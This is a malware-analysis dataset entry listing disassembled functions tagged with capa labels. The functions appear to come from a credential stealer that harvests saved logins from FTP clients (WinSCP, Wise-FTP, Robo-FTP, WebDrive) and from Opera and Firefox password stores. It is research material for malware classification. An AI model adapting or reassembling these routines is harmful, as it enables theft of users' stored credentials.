joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4079e0
Capabilities:
Gather winscp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x407c42
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407a35
jmp 0x407c3a
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
push 0
push 0x416487
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push 0x416490
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push 0x416499
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x818], eax
push 0
push str.RemoteDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x824], eax
lea eax, [ebp - 0x820]
push eax
push 0x4164b2
push dword [ebp - 0x810]
push dword [0x4150da]
call fcn.00401c65
and eax, eax
je 0x407b03
cmp dword [ebp - 0x820], 4
jne 0x407b03
push dword [eax]
pop dword [ebp - 0x828]
push eax
call fcn.00401871
jmp 0x407b17
and eax, eax
je 0x407b0d
push eax
call fcn.00401871
mov dword [ebp - 0x828], 0x15
lea eax, [ebp - 0x830]
push eax
push str.FSProtocol
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407bdf
cmp dword [ebp - 0x814], 0
je 0x407bdf
cmp dword [ebp - 0x818], 0
je 0x407bdf
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401584
cmp dword [ebp - 0x82c], 0
je 0x407bd5
cmp dword [ebp - 0x830], 4
jne 0x407bd5
mov eax, dword [ebp - 0x82c]
push dword [eax]
push dword [ebp + 8]
call fcn.00401522
jmp 0x407bdf
push 0
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x824]
call fcn.00401871
push dword [ebp - 0x82c]
call fcn.00401871
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004079e0
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x407a07
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x407d32
Capabilities:
Gather southriver-webdrive information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x407f46
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x407d87
jmp 0x407f3e
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
lea eax, [ebp - 0x820]
push eax
push str.PassWord
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
push 0
push 0x41650d
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push 0
push 0x416511
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x818], eax
push 0
push str.RootDirectory
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x824], eax
push 0
push 0x416528
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x828], eax
push 0
push 0x416564
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x82c], eax
cmp dword [ebp - 0x81c], 0
je 0x407ed8
cmp dword [ebp - 0x814], 0
je 0x407ed8
cmp dword [ebp - 0x818], 0
je 0x407ed8
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x820]
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401558
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x82c]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x824]
call fcn.00401871
push dword [ebp - 0x828]
call fcn.00401871
push dword [ebp - 0x82c]
call fcn.00401871
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00407d32
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x407d59
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408787
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x4087a6
cmp byte [eax], 0
jne 0x4087ab
jmp 0x4088fc
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x4087c6
push str..
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x4087d3
push 0x4157ec
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4088fc
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x408894
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40882e
jmp 0x4088d7
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40884b
jmp 0x4088d7
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x408866
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x408870
push 0
push dword [ebp + 0xc]
call fcn.00401cec
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d40
push eax
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.00408787
call fcn.00401871
jmp 0x4088d7
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push dword [ebp + 0x10]
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4088d7
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
push eax
push dword [ebp + 8]
call fcn.00408742
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x408809
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 0xc
Function at 0x40890b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb0
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0xc]
and eax, eax
je 0x40892a
cmp byte [eax], 0
jne 0x40892f
jmp 0x408a38
push str..
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x408a38
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x408a13
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40899e
jmp 0x408a13
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x4089b8
jmp 0x408a13
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
mov dword [ebp - 0x150], eax
push eax
push str.opera
push dword [ebp - 0x150]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x408a0e
push str.wand.dat
push dword [ebp - 0x150]
push dword [ebp + 8]
call fcn.00408787
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x408972
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 8

Function at 0x408b56
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7ec
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x408c41
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x408bab
jmp 0x408c39
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
push 0
push 0x416654
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x408c0a
push 0xbeef0001
push dword [ebp - 0x814]
push dword [ebp + 8]
call fcn.00403e21
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408b56
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x408b7d
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc
Function at 0x408c45
Capabilities:
Gather wise-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x408d83
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x80c]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x408c9a
jmp 0x408d7b
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x80c]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x810], eax
call fcn.00401871
push 0
push 0
push dword [ebp - 0x810]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x814], eax
push dword [ebp - 0x814]
call fcn.00402321
and eax, eax
je 0x408d4c
push eax
mov dword [ebp - 0x818], eax
push dword [ebp - 0x818]
call fcn.00401e73
and eax, eax
je 0x408d47
push 0xbeef0002
push str.wiseftpsrvs.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040412f
push 0xbeef0002
push str.wiseftp.ini
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040412f
push 0xbeef0000
push str.wiseftpsrvs.bin
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040412f
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x810]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408c45
push dword [ebp - 0x810]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x408c6c
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc

Function at 0x408ec3
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push ebx
mov dword [0x416804], 0
sub ebx, ebx
push dword [ebp + 8]
call sub.kernel32.dll_lstrlenA
mov edx, dword [ebp + 8]
cmp eax, 2
jbe 0x408ef4
add edx, eax
sub edx, 2
cmp word [edx], 0x5c5c
jne 0x408ef4
mov word [edx], 0x5c
push dword [ebp + 0xc]
call sub.kernel32.dll_SetCurrentDirectoryA
push 0x4167e0
push str.nss3.dll
call fcn.004023cc
and eax, eax
je 0x408f74
push dword [ebp + 8]
call dword [0x4167e0]
add esp, 4
and eax, eax
jne 0x408f74
call dword [0x4167f0]
mov dword [0x416804], eax
cmp dword [0x416804], 0
jne 0x408f3b
call dword [0x4167e4]
jmp 0x408f74
push 0
push 1
push dword [0x416804]
call dword [0x4167f4]
add esp, 0xc
and eax, eax
je 0x408f73
push dword [0x416804]
call dword [0x4167fc]
add esp, 4
call dword [0x4167e4]
mov dword [0x416804], 0
jmp 0x408f74
inc ebx
mov eax, ebx
pop ebx
leave
ret 8
Function at 0x409482
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
mov dword [ebp - 0x148], 0
mov eax, dword [ebp + 0x14]
and eax, eax
je 0x4094a1
cmp byte [eax], 0
jne 0x4094a6
jmp 0x4096ea
push dword [ebp + 0x14]
call fcn.004024ae
and eax, eax
jne 0x4094c1
push str..
push dword [ebp + 0x14]
call fcn.00401cec
jmp 0x4094ce
push 0x4157ec
push dword [ebp + 0x14]
call fcn.00401cec
mov dword [ebp - 0x148], eax
push 0x13e
lea eax, [ebp - 0x140]
push eax
call fcn.0040189f
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x148]
call sub.kernel32.dll_FindFirstFileA
mov dword [ebp - 0x144], eax
inc eax
je 0x4096ea
lea edx, [ebp - 0x140]
test dword [edx], 0x10
je 0x409599
lea eax, [edx + 0x2c]
push eax
push 0x4157e2
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40952d
jmp 0x4096c5
lea edx, [ebp - 0x140]
lea eax, [edx + 0x2c]
push eax
push 0x4157e4
call sub.kernel32.dll_lstrcmpiA
and eax, eax
jne 0x40954a
jmp 0x4096c5
push dword [ebp + 0x14]
call fcn.004024ae
and eax, eax
jne 0x409565
push 0x4150b6
push dword [ebp + 0x14]
call fcn.00401cec
jmp 0x40956f
push 0
push dword [ebp + 0x14]
call fcn.00401cec
lea edx, [ebp - 0x140]
lea edx, [edx + 0x2c]
push edx
push eax
call fcn.00401d40
push eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00409482
call fcn.00401871
jmp 0x4096c5
lea eax, [edx + 0x2c]
mov dword [ebp - 0x14c], eax
cmp dword [0x416800], 3
jne 0x4095f1
push str.prefs.js
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4095ec
push 0x4150b6
push dword [ebp + 0x14]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
push 0xbeef0001
push eax
push dword [ebp + 8]
call fcn.00403e4a
call fcn.00401871
jmp 0x4096c5
push str.signons.sqlite
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x409633
push 0x4150b6
push dword [ebp + 0x14]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.004090a1
call fcn.00401871
push dword [ebp - 0x14c]
call sub.kernel32.dll_lstrlenA
cmp eax, 2
jb 0x409657
mov edx, dword [ebp - 0x14c]
add edx, eax
sub edx, 2
cmp word [edx], 0x732e
jne 0x409657
jmp 0x409697
push str.signons.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons2.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
push eax
push str.signons3.txt
push dword [ebp - 0x14c]
call sub.shlwapi.dll_StrStrIA
pop edx
pop ecx
and eax, eax
jne 0x409697
and edx, edx
jne 0x409697
and ecx, ecx
je 0x4096c5
push 0x4150b6
push dword [ebp + 0x14]
call fcn.00401cec
push dword [ebp - 0x14c]
push eax
call fcn.00401d40
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push dword [ebp + 8]
call fcn.0040912c
call fcn.00401871
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x144]
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x409504
push dword [ebp - 0x144]
call sub.kernel32.dll_FindClose
push dword [ebp - 0x148]
call fcn.00401871
leave
ret 0x10
Function at 0x409711
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push edi
push dword [ebp + 0xc]
call fcn.00401e73
and eax, eax
jne 0x409729
pop edi
leave
ret 0xc
push dword [ebp + 0x10]
call fcn.00401e73
and eax, eax
jne 0x40973a
pop edi
leave
ret 0xc
push dword [ebp + 0xc]
call fcn.004024ae
and eax, eax
jne 0x409755
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
jmp 0x40975f
push 0
push dword [ebp + 0xc]
call fcn.00401cec
mov dword [ebp - 0xc], eax
push str.profiles.ini
push dword [ebp - 0xc]
call fcn.00401cec
mov dword [ebp - 8], eax
push 0xfdea
call fcn.00401888
mov dword [ebp - 4], eax
push 0x1000
call fcn.00401888
mov dword [ebp - 0x10], eax
push dword [ebp - 8]
call fcn.00401e2a
and eax, eax
je 0x409859
push dword [ebp - 8]
push 0xfde8
push dword [ebp - 4]
call sub.kernel32.dll_GetPrivateProfileSectionNamesA
cmp eax, 2
jbe 0x409859
mov edi, dword [ebp - 4]
cmp byte [edi], 0
je 0x409859
push str.Profile
push edi
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x409847
push dword [ebp - 8]
push 0xfff
push dword [ebp - 0x10]
push 0x4150b8
push 0x416828
push edi
call sub.kernel32.dll_GetPrivateProfileStringA
and eax, eax
je 0x409847
push dword [ebp - 8]
push 1
push str.IsRelative
push edi
call sub.kernel32.dll_GetPrivateProfileIntA
cmp eax, 1
jne 0x409839
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00401cec
push eax
mov edx, eax
jmp 0x40981d
cmp byte [edx], 0x2f
jne 0x40981c
mov byte [edx], 0x5c
inc edx
and edx, edx
je 0x409826
cmp byte [edx], 0
jne 0x409814
push dword [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.004096f9
call fcn.00401871
jmp 0x409847
push dword [ebp + 0x10]
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.004096f9
cld
xor eax, eax
mov ecx, 0xffffffff
repne scasb al, byte es:[edi]
cmp byte [edi], al
jne 0x4097c1
push dword [ebp - 0xc]
call fcn.00401871
push dword [ebp - 0x10]
call fcn.00401871
push dword [ebp - 8]
call fcn.00401871
push dword [ebp - 4]
call fcn.00401871
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004096f9
pop edi
leave
ret 0xc
Function at 0x40988c
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call sub.shlwapi.dll_StrStrIA
and eax, eax
je 0x4098f8
push 0
push str.PathToExe
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00401c65
and eax, eax
je 0x4098f8
push eax
push eax
call fcn.00402321
and eax, eax
je 0x4098f3
mov dword [ebp - 0x18], eax
push 0x1a
call fcn.00401da5
and eax, eax
je 0x4098eb
push dword [ebp + 0x18]
push eax
call fcn.00401d40
push eax
push dword [ebp - 0x18]
push eax
push dword [ebp + 8]
call fcn.00409711
call fcn.00401871
push dword [ebp - 0x18]
call fcn.00401871
call fcn.00401871
push 0x800
call fcn.00401888
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
or eax, eax
jne 0x409988
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x409946
jmp 0x409980
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push dword [ebp - 8]
push eax
call fcn.00401d40
mov dword [ebp - 0x14], eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp - 0x14]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040988c
push dword [ebp - 0x14]
call fcn.00401871
inc dword [ebp - 0x10]
jmp 0x40991f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
push dword [ebp - 8]
call fcn.00401871
leave
ret 0x14

Function at 0x40ab25
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7e8
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [0x4150da]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40ac5c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40ab7d
jmp 0x40ac54
push 0x4150b6
push dword [ebp + 0xc]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x818], eax
call fcn.00401871
lea eax, [ebp - 0x10]
push eax
push str.SiteServers
push dword [ebp - 0x818]
push dword [0x4150da]
call fcn.00401c65
mov dword [ebp - 0x814], eax
cmp dword [ebp - 0x814], 0
je 0x40ac28
cmp dword [ebp - 0x10], 4
jne 0x40ac1d
mov eax, dword [ebp - 0x814]
push dword [eax]
pop dword [ebp - 0x814]
cmp dword [ebp - 0x814], 0x3e8
jbe 0x40abf8
mov dword [ebp - 0x814], 0x3e8
jmp 0x40ac14
dec dword [ebp - 0x814]
push dword [ebp - 0x814]
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040a88c
cmp dword [ebp - 0x814], 0
jne 0x40abfa
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x814]
call fcn.00401871
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.0040ab25
push dword [ebp - 0x818]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40ab4f
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 8
Function at 0x40d0d5
Capabilities:
Gather robo-ftp information
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff7d0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call sub.advapi32.dll_RegOpenKeyA
and eax, eax
jne 0x40d32a
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0x7ff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call sub.advapi32.dll_RegEnumKeyExA
and eax, eax
je 0x40d12a
jmp 0x40d322
push 0x4150b6
push dword [ebp + 0x10]
call fcn.00401cec
push eax
mov edx, eax
lea eax, [ebp - 0x810]
push eax
push edx
call fcn.00401cec
mov dword [ebp - 0x814], eax
call fcn.00401871
lea eax, [ebp - 0xc]
push eax
push 0x416fd9
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x828], eax
push 0
push str.ServerName
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x818], eax
push 0
push 0x416fed
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x81c], eax
lea eax, [ebp - 0x82c]
push eax
push 0x417005
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
and eax, eax
je 0x40d1dc
cmp dword [ebp - 0x82c], 4
jne 0x40d1dc
push dword [eax]
pop dword [ebp - 0x820]
push eax
call fcn.00401871
jmp 0x40d1f0
and eax, eax
je 0x40d1e6
push eax
call fcn.00401871
mov dword [ebp - 0x820], 0x15
push 0
push str.InitialDirectory
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x824], eax
push 0
push str.ServerType
push dword [ebp - 0x814]
push dword [ebp + 0xc]
call fcn.00401c65
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x828], 0
je 0x40d2c7
push 0x41701b
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x828]
call fcn.004041ba
and eax, eax
je 0x40d2c7
cmp dword [ebp - 0xc], 0
je 0x40d2c7
cmp dword [ebp - 0x81c], 0
je 0x40d2c7
cmp dword [ebp - 0x818], 0
je 0x40d2c7
push 0xbeef0010
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x818]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x81c]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0xc]
push dword [ebp - 0x828]
push dword [ebp + 8]
call fcn.00401558
push dword [ebp - 0x820]
push dword [ebp + 8]
call fcn.00401522
push dword [ebp - 0x824]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x830]
push dword [ebp + 8]
call fcn.00401584
push dword [ebp - 0x828]
call fcn.00401871
push dword [ebp - 0x818]
call fcn.00401871
push dword [ebp - 0x824]
call fcn.00401871
push dword [ebp - 0x81c]
call fcn.00401871
push dword [ebp - 0x830]
call fcn.00401871
push dword [ebp - 0x814]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040d0d5
push dword [ebp - 0x814]
call fcn.00401871
inc dword [ebp - 8]
jmp 0x40d0fc
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey
leave
ret 0xc